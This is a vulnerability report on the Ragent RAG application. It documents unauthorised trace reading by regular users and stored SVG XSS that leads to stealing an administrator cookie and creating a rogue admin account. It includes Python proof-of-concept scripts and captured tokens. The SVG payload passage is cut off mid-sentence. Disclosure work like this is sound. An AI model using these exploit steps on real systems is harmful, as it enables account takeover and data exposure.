# Ragent Vulnerability Report Software: Ragent Developer or vendor: nageoffer Code repository: https://github.com/nageoffer/ragent ## 1. Regular User Can Read Other Users' Traces Brief description: A regular user can call `/rag/traces/runs` and read other users' traces. Affected versions: 1.0.0 to 1.1.0 Preconditions: The attacker holds a regular user account. ### Root Cause `/rag/traces/runs` in `RagTraceController` only requires login and does not check the user's role. The relevant code is: ```java // rag/src/main/java/com/nageoffer/ai/ragent/rag/controller/RagTraceController.java:38-50 commit c3b6157730 @RestController @RequiredArgsConstructor public class RagTraceController { private final RagTraceQueryService ragTraceQueryService; @GetMapping("/rag/traces/runs") public Result> pageRuns(RagTraceRunPageRequest request) { return Results.success(ragTraceQueryService.pageRuns(request)); } } ``` ### Reproduction Environment The reproduction uses commit `c3b61577`. The project does not provide a compose file. Place the attached [`docker-compose.yml`](files/docker-compose.yml) in the project root and run: ```bash cat > Dockerfile <<'EOF' FROM eclipse-temurin:17-jre WORKDIR /app COPY src/bootstrap/target/bootstrap-0.0.1-SNAPSHOT.jar app.jar EXPOSE 9090 ENTRYPOINT ["java","-XX:MaxRAMPercentage=75","-jar","/app/app.jar"] EOF (cd src && ./mvnw -DskipTests -Dspotless.check.skip=true clean package) docker compose up -d --build ``` Log in as the administrator and create a regular user `lowuser` with password `lowpass`. ### Reproduction Start a conversation with the administrator account, then read it with the regular user: ```python import httpx base = "http://127.0.0.1:19090/api/ragent" def login(username, password): resp = httpx.post(f"{base}/auth/login", json={"username": username, "password": password}) return resp.json()["data"]["token"] admin = httpx.Client(headers={"Authorization": login("admin", "admin")}, timeout=60) admin.post(f"{base}/users", json={"username": "lowuser", "password": "lowpass", "role": "user"}) with admin.stream("GET", f"{base}/rag/v3/chat", params={"question": "admin-private-question-42"}) as resp: for line in resp.iter_lines(): if line: break low = httpx.Client(headers={"Authorization": login("lowuser", "lowpass")}, timeout=30) runs = low.get(f"{base}/rag/traces/runs", params={"pageNo": 1, "pageSize": 5}).json()["data"]["records"] print(runs) print(low.get(f"{base}/users").text) ``` The regular user queries `/rag/traces/runs` and receives 200. The response contains the administrator's question and username: ``` [{"conversationId": "2117234767668707328", "question": "admin-private-question-42", "traceId": "2117234768415293440", "userId": "2001523723396308993", "username": "admin", ...}] ``` When the regular user queries `/users`, the response is a permission error: ``` {"code":"A000001","data":null,"message":"权限不足","requestId":null,"success":false} ``` `/users` checks for the administrator role, while `/rag/traces/runs` only checks login. ## 2. Stored SVG XSS Leads to Victim Account Takeover Brief description: When a victim opens the file URL of an SVG uploaded by a regular user, the script executes and the attacker can take over the victim's account. Affected versions: 1.1.0 Preconditions: The attacker holds a regular user account and can lure the victim into opening the file URL of an uploaded document. ### Root Cause Document upload only requires login, and the file content is written to object storage unchanged. The relevant code is: ```java // rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:96-100 commit c3b6157730 @PostMapping(value = "/knowledge-base/{kb-id}/docs/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) public Result upload(@PathVariable("kb-id") String kbId, @RequestPart(value = "file", required = false) MultipartFile file, @ModelAttribute KnowledgeDocumentUploadRequest requestParam) { return Results.success(documentService.upload(kbId, requestParam, file)); } ``` `DefaultFileStorageService.upload` detects the type with Tika and writes the original bytes to object storage. The relevant code is: ```java // rag/src/main/java/com/nageoffer/ai/ragent/rag/service/impl/DefaultFileStorageService.java:72-90 commit c3b6157730 public StoredFileDTO upload(String namespace, MultipartFile file) { validateNamespace(namespace); Assert.isFalse(file == null || file.isEmpty(), "上传文件不能为空"); String originalFilename = file.getOriginalFilename(); long size = file.getSize(); String detectedContentType; try (InputStream is = file.getInputStream()) { detectedContentType = TIKA.detect(is, originalFilename); } try (InputStream is = file.getInputStream()) { String key = documentKey(namespace, originalFilename); objectStorageClient.streamPut(kbBucket, key, is, size, detectedContentType); return buildStoredFileDTO(key, originalFilename, detectedContentType, size); } } ``` The document download endpoint selects the `Content-Type` from `CONTENT_TYPE_MAP` based on `fileType` and returns the file inline. The relevant code is: ```java // rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:187-199 commit c3b6157730 @GetMapping("/knowledge-base/docs/{docId}/file") public void file(@PathVariable String docId, HttpServletResponse response) throws Exception { var doc = documentService.get(docId); String fileType = doc.getFileType() != null ? doc.getFileType().toLowerCase() : ""; String contentType = CONTENT_TYPE_MAP.getOrDefault(fileType, "application/octet-stream"); response.setContentType(contentType); response.setHeader("Content-Disposition", ContentDisposition.inline() .filename(doc.getDocName(), StandardCharsets.UTF_8) .build() .toString()); try (InputStream in = fileStorageService.openStream(doc.getFileUrl())) { StreamUtils.copy(in, response.getOutputStream()); } } ``` `CONTENT_TYPE_MAP` maps `svg` to `image/svg+xml`. The relevant code is: ```java // rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:82 commit c3b6157730 Map.entry("svg", "image/svg+xml") ``` When the victim opens `/knowledge-base/docs/{docId}/file`, the browser parses the response as an SVG document and executes the ` XSS EXECUTED ``` The upload script is: ```python import httpx base = "http://127.0.0.1:19090/api/ragent" def login(username, password): resp = httpx.post(f"{base}/auth/login", json={"username": username, "password": password}) return resp.json()["data"]["token"] admin = httpx.Client(headers={"Authorization": login("admin", "admin")}, timeout=60) admin.post(f"{base}/users", json={"username": "lowuser", "password": "lowpass", "role": "user"}) low = httpx.Client(headers={"Authorization": login("lowuser", "lowpass")}, timeout=60) kb = low.post(f"{base}/knowledge-base", json={ "name": "report-kb", "embeddingModel": "qwen-emb-8b", "collectionName": "report_kb_store" }).json()["data"] with open("report.svg", "rb") as f: doc = low.post( f"{base}/knowledge-base/{kb}/docs/upload", data={"sourceType": "FILE", "processMode": "CHUNK"}, files={"file": ("report.svg", f, "image/svg+xml")} ).json()["data"] print(doc["id"]) ``` The administrator (victim) opens `http://127.0.0.1:19090/api/ragent/knowledge-base/docs/{docId}/file` in a browser, and the page displays `XSS EXECUTED`: ![](img/01-svg-xss.png) The HTTP log service receives the victim's (administrator's) cookie: ``` Authorization=cc41bdee51664c6887436bad552a7583 ``` Use the cookie to create the administrator account `eviladmin` and verify that the administrator account has been taken over: ```python import httpx base = "http://127.0.0.1:19090/api/ragent" stolen = "cc41bdee51664c6887436bad552a7583" client = httpx.Client(headers={"Authorization": stolen}, timeout=30) print(client.post(f"{base}/users", json={ "username": "eviladmin", "password": "evilpass", "role": "admin" }).text) ``` The account can then log in and query the user list: ``` create admin with stolen token: {"code":"0","data":"2117236505536626688","message":null,"requestId":null,"success":true} login as eviladmin: admin dca56c9ceed04ae69db61a4772e6ea88 eviladmin /users: {"code":"0","data":{"current":1,"pages":1,"records":[{"id":"2117236505536626688","username":"eviladmin","role":"admin",...}]}} ```